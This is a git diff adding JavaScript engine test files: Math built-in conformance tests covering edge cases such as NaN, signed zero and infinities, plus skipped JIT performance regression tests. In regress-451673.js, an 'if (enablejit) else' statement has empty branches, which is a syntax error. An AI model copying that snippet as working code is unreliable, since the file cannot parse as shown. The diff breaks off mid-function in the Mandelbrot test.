+testmath("Math.asin", "\"-1\"", -Math.PI/2)
+testmath("Math.asin", "Math.SQRT1_2+''", Math.PI/4)
+testmath("Math.asin", "-Math.SQRT1_2+''", -Math.PI/4)
+testmath("Math.asin", "1.000001", Number.NaN)
+testmath("Math.asin", "-1.000001", Number.NaN)
+testmath("Math.asin", "0", 0)
+testmath("Math.asin", "-0", -0)
+testmath("Infinity/Math.asin", "-0", -Infinity)
+testmath("Math.asin", "1", Math.PI/2)
+testmath("Math.asin", "-1", -Math.PI/2)
+testmath("Math.asin", "Math.SQRT1_2", Math.PI/4)
+testmath("Math.asin", "-Math.SQRT1_2", -Math.PI/4)
+
+testmath("Math.atan", "void 0", Number.NaN)
+testmath("Math.atan", "null", 0)
+testmath("Math.atan", "Number.NaN", Number.NaN)
+testmath("Math.atan", "\"a string\"", Number.NaN)
+testmath("Math.atan", "'0'", 0)
+testmath("Math.atan", "'1'", Math.PI/4)
+testmath("Math.atan", "'-1'", -Math.PI/4)
+testmath("Math.atan", "'Infinity'", Math.PI/2)
+testmath("Math.atan", "'-Infinity'", -Math.PI/2)
+testmath("Math.atan", "0", 0)
+testmath("Math.atan", "-0", -0)
+testmath("Infinity/Math.atan", "-0", -Infinity)
+testmath("Math.atan", "Number.POSITIVE_INFINITY", Math.PI/2)
+testmath("Math.atan", "Number.NEGATIVE_INFINITY", -Math.PI/2)
+testmath("Math.atan", "1", Math.PI/4)
+testmath("Math.atan", "-1", -Math.PI/4)
+
+testmath("Math.atan2", "Number.NaN,0", Number.NaN)
+testmath("Math.atan2", "null, null", 0)
+testmath("Math.atan2", "void 0, void 0", Number.NaN)
+testmath("Math.atan2", "0,Number.NaN", Number.NaN)
+testmath("Math.atan2", "1,0", Math.PI/2)
+testmath("Math.atan2", "1,-0", Math.PI/2)
+testmath("Math.atan2", "0,0.001", 0)
+testmath("Math.atan2", "0,0", 0)
+testmath("Math.atan2", "0,-0", Math.PI)
+testmath("Math.atan2", "0, -1", Math.PI)
+testmath("Math.atan2", "-0, 1", -0)
+testmath("Infinity/Math.atan2", "-0,1", -Infinity)
+testmath("Math.atan2", "-0,0", -0)
+testmath("Math.atan2", "-0, -0", -Math.PI)
+testmath("Math.atan2", "-0, -1", -Math.PI)
+testmath("Math.atan2", "-1, 0", -Math.PI/2)
+testmath("Math.atan2", "-1, -0", -Math.PI/2)
+testmath("Math.atan2", "1, Number.POSITIVE_INFINITY", 0)
+testmath("Math.atan2", "1, Number.NEGATIVE_INFINITY", Math.PI)
+testmath("Math.atan2", "-1,Number.POSITIVE_INFINITY", -0)
+testmath("Infinity/Math.atan2", "-1,Infinity", -Infinity)
+testmath("Math.atan2", "-1,Number.NEGATIVE_INFINITY", -Math.PI)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY, 0", Math.PI/2)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY, 1", Math.PI/2)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY,-1", Math.PI/2)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY,-0", Math.PI/2)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY, 0", -Math.PI/2)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY,-0", -Math.PI/2)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY, 1", -Math.PI/2)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY,-1", -Math.PI/2)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY", Math.PI/4)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY", 3*Math.PI/4)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY", -Math.PI/4)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY", -3*Math.PI/4)
+testmath("Math.atan2", "-1, 1", -Math.PI/4)
+
+testmath("Math.ceil", "Number.NaN", Number.NaN)
+testmath("Math.ceil", "null", 0)
+testmath("Math.ceil", "void 0", Number.NaN)
+testmath("Math.ceil", "'0'", 0)
+testmath("Math.ceil", "'-0'", -0)
+testmath("Infinity/Math.ceil", "'0'", Infinity)
+testmath("Infinity/Math.ceil", "'-0'", -Infinity)
+testmath("Math.ceil", "0", 0)
+testmath("Math.ceil", "-0", -0)
+testmath("Infinity/Math.ceil", "0", Infinity)
+testmath("Infinity/Math.ceil", "-0", -Infinity)
+testmath("Math.ceil", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.ceil", "Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY)
+testmath("Math.ceil", "-Number.MIN_VALUE", -0)
+testmath("Infinity/Math.ceil", "-Number.MIN_VALUE", -Infinity)
+testmath("Math.ceil", "1", 1)
+testmath("Math.ceil", "-1", -1)
+testmath("Math.ceil", "-0.9", -0)
+testmath("Infinity/Math.ceil", "-0.9", -Infinity)
+testmath("Math.ceil", "0.9", 1)
+testmath("Math.ceil", "-1.1", -1)
+testmath("Math.ceil", "1.1", 2)
+testmath("Math.ceil", "Number.POSITIVE_INFINITY", -Math.floor(-Infinity))
+testmath("Math.ceil", "Number.NEGATIVE_INFINITY", -Math.floor(Infinity))
+testmath("Math.ceil", "-Number.MIN_VALUE", -Math.floor(Number.MIN_VALUE))
+testmath("Math.ceil", "1", -Math.floor(-1))
+testmath("Math.ceil", "-1", -Math.floor(1))
+testmath("Math.ceil", "-0.9", -Math.floor(0.9))
+testmath("Math.ceil", "0.9", -Math.floor(-0.9))
+testmath("Math.ceil", "-1.1", -Math.floor(1.1))
+testmath("Math.ceil", "1.1", -Math.floor(-1.1))
+
+testmath("Math.cos", "void 0", Number.NaN)
+testmath("Math.cos", "false", 1)
+testmath("Math.cos", "null", 1)
+testmath("Math.cos", "'0'", 1)
+testmath("Math.cos", "\"Infinity\"", Number.NaN)
+testmath("Math.cos", "'3.14159265359'", -1)
+testmath("Math.cos", "Number.NaN", Number.NaN)
+testmath("Math.cos", "0", 1)
+testmath("Math.cos", "-0", 1)
+testmath("Math.cos", "Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.cos", "Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.cos", "0.7853981633974", 0.7071067811865)
+testmath("Math.cos", "1.570796326795", 0)
+testmath("Math.cos", "2.356194490192", -0.7071067811865)
+testmath("Math.cos", "3.14159265359", -1)
+testmath("Math.cos", "3.926990816987", -0.7071067811865)
+testmath("Math.cos", "4.712388980385", 0)
+testmath("Math.cos", "5.497787143782", 0.7071067811865)
+testmath("Math.cos", "Math.PI*2", 1)
+testmath("Math.cos", "Math.PI/4", Math.SQRT2/2)
+testmath("Math.cos", "Math.PI/2", 0)
+testmath("Math.cos", "3*Math.PI/4", -Math.SQRT2/2)
+testmath("Math.cos", "Math.PI", -1)
+testmath("Math.cos", "5*Math.PI/4", -Math.SQRT2/2)
+testmath("Math.cos", "3*Math.PI/2", 0)
+testmath("Math.cos", "7*Math.PI/4", Math.SQRT2/2)
+testmath("Math.cos", "2*Math.PI", 1)
+testmath("Math.cos", "-0.7853981633974", 0.7071067811865)
+testmath("Math.cos", "-1.570796326795", 0)
+testmath("Math.cos", "2.3561944901920", -.7071067811865)
+testmath("Math.cos", "3.14159265359", -1)
+testmath("Math.cos", "3.926990816987", -0.7071067811865)
+testmath("Math.cos", "4.712388980385", 0)
+testmath("Math.cos", "5.497787143782", 0.7071067811865)
+testmath("Math.cos", "6.28318530718", 1)
+testmath("Math.cos", "-Math.PI/4", Math.SQRT2/2)
+testmath("Math.cos", "-Math.PI/2", 0)
+testmath("Math.cos", "-3*Math.PI/4", -Math.SQRT2/2)
+testmath("Math.cos", "-Math.PI", -1)
+testmath("Math.cos", "-5*Math.PI/4", -Math.SQRT2/2)
+testmath("Math.cos", "-3*Math.PI/2", 0)
+testmath("Math.cos", "-7*Math.PI/4", Math.SQRT2/2)
+testmath("Math.cos", "-Math.PI*2", 1)
+
+testmath("Math.exp", "null", 1)
+testmath("Math.exp", "void 0", Number.NaN)
+testmath("Math.exp", "1", Math.E)
+testmath("Math.exp", "true", Math.E)
+testmath("Math.exp", "false", 1)
+testmath("Math.exp", "'1'", Math.E)
+testmath("Math.exp", "'0'", 1)
+testmath("Math.exp", "Number.NaN", Number.NaN)
+testmath("Math.exp", "0", 1)
+testmath("Math.exp", "-0", 1)
+testmath("Math.exp", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.exp", "Number.NEGATIVE_INFINITY", 0)
+
+testmath("Math.floor", "void 0", Number.NaN)
+testmath("Math.floor", "null", 0)
+testmath("Math.floor", "true", 1)
+testmath("Math.floor", "false", 0)
+testmath("Math.floor", "\"1.1\"", 1)
+testmath("Math.floor", "\"-1.1\"", -2)
+testmath("Math.floor", "\"0.1\"", 0)
+testmath("Math.floor", "\"-0.1\"", -1)
+testmath("Math.floor", "Number.NaN", Number.NaN)
+testmath("Math.floor(Number.NaN) == -Math.ceil", "-Number.NaN", false)
+testmath("Math.floor", "0", 0)
+testmath("Math.floor(0) == -Math.ceil", "-0", true)
+testmath("Math.floor", "-0", -0)
+testmath("Infinity/Math.floor", "-0", -Infinity)
+testmath("Math.floor(-0)== -Math.ceil", "0", true)
+testmath("Math.floor", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.floor(Number.POSITIVE_INFINITY) == -Math.ceil", "Number.NEGATIVE_INFINITY", true)
+testmath("Math.floor", "Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY)
+testmath("Math.floor(Number.NEGATIVE_INFINITY) == -Math.ceil", "Number.POSITIVE_INFINITY", true)
+testmath("Math.floor", "0.0000001", 0)
+testmath("Math.floor(0.0000001)==-Math.ceil", "-0.0000001", true)
+testmath("Math.floor", "-0.0000001", -1)
+testmath("Math.floor(-0.0000001)==-Math.ceil", "0.0000001", true)
+
+testmath("Math.log", "void 0", Number.NaN)
+testmath("Math.log", "null", Number.NEGATIVE_INFINITY)
+testmath("Math.log", "true", 0)
+testmath("Math.log", "false", -Infinity)
+testmath("Math.log", "'0'", -Infinity)
+testmath("Math.log", "'1'", 0)
+testmath("Math.log", "\"Infinity\"", Infinity)
+testmath("Math.log", "Number.NaN", Number.NaN)
+testmath("Math.log", "-0.000001", Number.NaN)
+testmath("Math.log", "-1", Number.NaN)
+testmath("Math.log", "0", Number.NEGATIVE_INFINITY)
+testmath("Math.log", "-0", Number.NEGATIVE_INFINITY)
+testmath("Math.log", "1", 0)
+testmath("Math.log", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.log", "Number.NEGATIVE_INFINITY", Number.NaN)
+
+testmath("Math.max", "void 0, 1", Number.NaN)
+testmath("Math.max", "void 0, void 0", Number.NaN)
+testmath("Math.max", "null, 1", 1)
+testmath("Math.max", "-1, null", 0)
+testmath("Math.max", "true,false", 1)
+testmath("Math.max", "\"-99\",\"99\"", 99)
+testmath("Math.max", "Number.NaN,Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.max", "Number.NaN, 0", Number.NaN)
+testmath("Math.max", "\"a string\", 0", Number.NaN)
+testmath("Math.max", "Number.NaN,1", Number.NaN)
+testmath("Math.max", "\"a string\", Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.max", "Number.POSITIVE_INFINITY, Number.NaN", Number.NaN)
+testmath("Math.max", "Number.NaN, Number.NaN", Number.NaN)
+testmath("Math.max", "0,Number.NaN", Number.NaN)
+testmath("Math.max", "1, Number.NaN", Number.NaN)
+testmath("Math.max", "0,0", 0)
+testmath("Math.max", "0,-0", 0)
+testmath("Math.max", "-0,0", 0)
+testmath("Math.max", "-0,-0", -0)
+testmath("Infinity/Math.max", "-0,-0", -Infinity)
+testmath("Math.max", "Number.POSITIVE_INFINITY, Number.MAX_VALUE", Number.POSITIVE_INFINITY)
+testmath("Math.max", "Number.POSITIVE_INFINITY,Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.max", "Number.NEGATIVE_INFINITY,Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY)
+testmath("Math.max", "1,.99999999999999", 1)
+testmath("Math.max", "-1,-.99999999999999", -.99999999999999)
+
+testmath("Math.min", "void 0, 1", Number.NaN)
+testmath("Math.min", "void 0, void 0", Number.NaN)
+testmath("Math.min", "null, 1", 0)
+testmath("Math.min", "-1, null", -1)
+testmath("Math.min", "true,false", 0)
+testmath("Math.min", "\"-99\",\"99\"", -99)
+testmath("Math.min", "Number.NaN,0", Number.NaN)
+testmath("Math.min", "Number.NaN,1", Number.NaN)
+testmath("Math.min", "Number.NaN,-1", Number.NaN)
+testmath("Math.min", "0,Number.NaN", Number.NaN)
+testmath("Math.min", "1,Number.NaN", Number.NaN)
+testmath("Math.min", "-1,Number.NaN", Number.NaN)
+testmath("Math.min", "Number.NaN,Number.NaN", Number.NaN)
+testmath("Math.min", "1,1.0000000001", 1)
+testmath("Math.min", "1.0000000001,1", 1)
+testmath("Math.min", "0,0", 0)
+testmath("Math.min", "0,-0", -0)
+testmath("Math.min", "-0,-0", -0)
+testmath("Infinity/Math.min", "0,-0", -Infinity)
+testmath("Infinity/Math.min", "-0,-0", -Infinity)
+
+testmath("Math.pow", "null,null", 1)
+testmath("Math.pow", "void 0, void 0", Number.NaN)
+testmath("Math.pow", "true, false", 1)
+testmath("Math.pow", "false,true", 0)
+testmath("Math.pow", "'2','32'", 4294967296)
+testmath("Math.pow", "1,Number.NaN", Number.NaN)
+testmath("Math.pow", "0,Number.NaN", Number.NaN)
+testmath("Math.pow", "Number.NaN,0", 1)
+testmath("Math.pow", "Number.NaN,-0", 1)
+testmath("Math.pow", "Number.NaN, 1", Number.NaN)
+testmath("Math.pow", "Number.NaN, .5", Number.NaN)
+testmath("Math.pow", "1.00000001, Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "1.00000001, Number.NEGATIVE_INFINITY", 0)
+testmath("Math.pow", "-1.00000001,Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "-1.00000001,Number.NEGATIVE_INFINITY", 0)
+testmath("Math.pow", "1, Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.pow", "1, Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.pow", "-1, Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.pow", "-1, Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.pow", ".0000000009, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "-.0000000009, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "-.0000000009, Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.POSITIVE_INFINITY,.00000000001", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.POSITIVE_INFINITY, 1", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.POSITIVE_INFINITY, -.00000000001", 0)
+testmath("Math.pow", "Number.POSITIVE_INFINITY, -1", 0)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, 1", Number.NEGATIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, 333", Number.NEGATIVE_INFINITY)
+testmath("Math.pow", "Number.POSITIVE_INFINITY, 2", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, 666", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, 0.5", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, -1", -0)
+testmath("Infinity/Math.pow", "Number.NEGATIVE_INFINITY, -1", -Infinity)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, -3", -0)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, -2", 0)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY,-0.5", 0)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY", 0)
+testmath("Math.pow", "0,1", 0)
+testmath("Math.pow", "0,0", 1)
+testmath("Math.pow", "1,0", 1)
+testmath("Math.pow", "-1,0", 1)
+testmath("Math.pow", "0,0.5", 0)
+testmath("Math.pow", "0,1000", 0)
+testmath("Math.pow", "0, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "0, -1", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "0, -0.5", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "0, -1000", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "0, Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "-0, 1", -0)
+testmath("Math.pow", "-0,3", -0)
+testmath("Infinity/Math.pow", "-0, 1", -Infinity)
+testmath("Infinity/Math.pow", "-0,3", -Infinity)
+testmath("Math.pow", "-0,2", 0)
+testmath("Math.pow", "-0, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "-0, -1", Number.NEGATIVE_INFINITY)
+testmath("Math.pow", "-0, -10001", Number.NEGATIVE_INFINITY)
+testmath("Math.pow", "-0, -2", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "-0, 0.5", 0)
+testmath("Math.pow", "-0, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "-1, 0.5", Number.NaN)
+testmath("Math.pow", "-1, Number.NaN", Number.NaN)
+testmath("Math.pow", "-1, -0.5", Number.NaN)
+
+testmath("Math.round", "0", 0)
+testmath("Math.round", "void 0", Number.NaN)
+testmath("Math.round", "true", 1)
+testmath("Math.round", "false", 0)
+testmath("Math.round", "'.99999'", 1)
+testmath("Math.round", "'12345e-2'", 123)
+testmath("Math.round", "Number.NaN", Number.NaN)
+testmath("Math.round", "0", 0)
+testmath("Math.round", "-0", -0)
+testmath("Infinity/Math.round", "-0", -Infinity)
+testmath("Math.round", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.round", "Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY)
+testmath("Math.round", "0.49", 0)
+testmath("Math.round", "0.5", 1)
+testmath("Math.round", "0.51", 1)
+testmath("Math.round", "-0.49", -0)
+testmath("Math.round", "-0.5", -0)
+testmath("Infinity/Math.round", "-0.49", -Infinity)
+testmath("Infinity/Math.round", "-0.5", -Infinity)
+testmath("Math.round", "-0.51", -1)
+testmath("Math.round", "3.5", 4)
+testmath("Math.round", "-3", -3)
+
+testmath("Math.sin", "null", 0)
+testmath("Math.sin", "void 0", Number.NaN)
+testmath("Math.sin", "false", 0)
+testmath("Math.sin", "'2.356194490192'", 0.7071067811865)
+testmath("Math.sin", "Number.NaN", Number.NaN)
+testmath("Math.sin", "0", 0)
+testmath("Math.sin", "-0", -0)
+testmath("Math.sin", "Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.sin", "Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.sin", "0.7853981633974", 0.7071067811865)
+testmath("Math.sin", "1.570796326795", 1)
+testmath("Math.sin", "2.356194490192", 0.7071067811865)
+testmath("Math.sin", "3.14159265359", 0)
+
+testmath("Math.sqrt", "void 0", Number.NaN)
+testmath("Math.sqrt", "null", 0)
+testmath("Math.sqrt", "1", 1)
+testmath("Math.sqrt", "false", 0)
+testmath("Math.sqrt", "'225'", 15)
+testmath("Math.sqrt", "Number.NaN", Number.NaN)
+testmath("Math.sqrt", "Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.sqrt", "-1", Number.NaN)
+testmath("Math.sqrt", "-0.5", Number.NaN)
+testmath("Math.sqrt", "0", 0)
+testmath("Math.sqrt", "-0", -0)
+testmath("Infinity/Math.sqrt", "-0", -Infinity)
+testmath("Math.sqrt", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.sqrt", "1", 1)
+testmath("Math.sqrt", "2", Math.SQRT2)
+testmath("Math.sqrt", "0.5", Math.SQRT1_2)
+testmath("Math.sqrt", "4", 2)
+testmath("Math.sqrt", "9", 3)
+testmath("Math.sqrt", "16", 4)
+testmath("Math.sqrt", "25", 5)
+testmath("Math.sqrt", "36", 6)
+testmath("Math.sqrt", "49", 7)
+testmath("Math.sqrt", "64", 8)
+testmath("Math.sqrt", "256", 16)
+testmath("Math.sqrt", "10000", 100)
+testmath("Math.sqrt", "65536", 256)
+testmath("Math.sqrt", "0.09", 0.3)
+testmath("Math.sqrt", "0.01", 0.1)
+testmath("Math.sqrt", "0.00000001", 0.0001)
+
+testmath("Math.tan", "void 0", Number.NaN)
+testmath("Math.tan", "null", 0)
+testmath("Math.tan", "false", 0)
+testmath("Math.tan", "Number.NaN", Number.NaN)
+testmath("Math.tan", "0", 0)
+testmath("Math.tan", "-0", -0)
+testmath("Math.tan", "Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.tan", "Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.tan", "Math.PI/4", 1)
+testmath("Math.tan", "3*Math.PI/4", -1)
+testmath("Math.tan", "Math.PI", -0)
+testmath("Math.tan", "5*Math.PI/4", 1)
+testmath("Math.tan", "7*Math.PI/4", -1)
+testmath("Infinity/Math.tan", "-0", -Infinity)
+
+
+/* Keep these at the end so that we can see the summary after the trace-debug spew. */
+if (0) {
+ print("\npassed:", passes.length && passes.join(","));
+ print("\nFAILED:", fails.length && fails.join(","));
+}
diff --git a/js/src/tests/js1_8_1/jit/regress-451673.js b/js/src/tests/js1_8_1/jit/regress-451673.js
new file mode 100644
index 000000000..415acdbc1
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-451673.js
@@ -0,0 +1,81 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451673;
+var summary = 'TM: Tracing prime number generation';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function doTest(enablejit)
+ {
+ if (enablejit)
+ else
+
+ var n = 1000000;
+ var start = new Date();
+ var i=0;
+ var j=0;
+ var numprimes=0;
+ var limit=0;
+ numprimes = 1; // 2 is prime
+ var mceil = Math.floor;
+ var msqrt = Math.sqrt;
+ var isPrime = 1;
+
+ for (i = 3; i<= n; i+=2)
+ {
+ isPrime=1;
+ limit = mceil(msqrt(i)+1) + 1;
+
+ for (j = 3; j < limit; j+=2)
+ {
+ if (i % j == 0)
+ {
+ isPrime = 0;
+ break;
+ }
+ }
+
+ if (isPrime)
+ {
+ numprimes ++;
+ }
+ }
+
+ var end = new Date();
+
+ var timetaken = end - start;
+ timetaken = timetaken / 1000;
+
+ if (enablejit)
+
+ print((enablejit ? ' JIT' : 'Non-JIT') + ": Number of primes up to: " + n + " is " + numprimes + ", counted in " + timetaken + " secs.");
+
+ return timetaken;
+ }
+
+ var timenonjit = doTest(false);
+ var timejit = doTest(true);
+
+ expect = true;
+ actual = timejit < timenonjit;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/jit/regress-451974-01.js b/js/src/tests/js1_8_1/jit/regress-451974-01.js
new file mode 100644
index 000000000..548695daf
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-451974-01.js
@@ -0,0 +1,52 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451974;
+var summary = 'TM: loops with anon functions should not be slower with jit enabled';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var chars = '0123456789abcdef';
+var size = 10000;
+var mult = 1000;
+var densearray = [];
+var lsize = size;
+
+while (lsize--)
+{
+ densearray.push(chars);
+}
+
+function loop()
+{
+ var start = new Date();
+
+ for (var a = 0; a < mult; a++)
+ {
+ var f = (function(x){});
+ for (var i = 0, len = densearray.length; i < len; i++)
+ {
+ f(densearray[i]);
+ }
+ }
+
+ var stop = new Date();
+ return stop - start;
+}
+
+var timenonjit = loop();
+var timejit = loop();
+
+print('time: nonjit = ' + timenonjit + ', jit = ' + timejit);
+
+expect = true;
+actual = timejit < timenonjit/2;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8_1/jit/regress-451974-02.js b/js/src/tests/js1_8_1/jit/regress-451974-02.js
new file mode 100644
index 000000000..ddb11713f
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-451974-02.js
@@ -0,0 +1,63 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451974;
+var summary = 'TM: loops with anon functions should not be slower with jit enabled';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var chars = '0123456789abcdef';
+ var size = 10000;
+ var mult = 1000;
+ var densearray = [];
+ var lsize = size;
+
+ while (lsize--)
+ {
+ densearray.push(chars);
+ }
+
+ function loop()
+ {
+ var start = new Date();
+
+ for (var a = 0; a < mult; a++)
+ {
+ var f = (function(x){});
+ for (var i = 0, len = densearray.length; i < len; i++)
+ {
+ f(densearray[i]);
+ }
+ }
+
+ var stop = new Date();
+ return stop - start;
+ }
+
+ var timenonjit = loop();
+ var timejit = loop();
+
+ print('time: nonjit = ' + timenonjit + ', jit = ' + timejit);
+
+ expect = true;
+ actual = timejit < timenonjit/2;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/jit/regress-452498-01.js b/js/src/tests/js1_8_1/jit/regress-452498-01.js
new file mode 100644
index 000000000..4ccd4476f
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-452498-01.js
@@ -0,0 +1,72 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2: jit heavyweight functions';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function complex(aReal, aImag) {
+ this.r = aReal;
+ this.i = aImag;
+ this.square = function() {
+ return new complex(this.r * this.r - this.i * this.i,
+ 2 * this.r * this.i);
+ }
+ this.dist = function() {
+ return Math.sqrt(this.r * this.r + this.i * this.i);
+ }
+ this.add = function(aComplex) {
+ return new complex(this.r + aComplex.r, this.i + aComplex.i);
+ }
+}
+
+function mandelbrotValueOO (aC, aIterMax) {
+ let Z = new complex(0.0, 0.0);
+ for (var iter = 0; iter < aIterMax; iter++) {
+ Z = Z.square().add(aC);
+ if (Z.r * Z.r + Z.i * Z.i > 256) { break; }
+ }
+ return iter;
+}
+
+function f(trace) {
+ var start = Date.now();
+ const width = 60;
+ const height = 60;
+ const max_iters = 50;
+ var output = [];
+ for (let img_x = 0; img_x < width; img_x++) {
+ for (let img_y = 0; img_y < height; img_y++) {
+ let C = new complex(-2 + (img_x / width) * 3,
+ -1.5 + (img_y / height) * 3);
+ var res = mandelbrotValueOO(C, max_iters);
+ if (output.length > 0 && output[output.length -1][0] == res) {
+ output[output.length-1][1]++;
+ } else {
+ output.push([res, 1]);
+ }
+ }
+ }
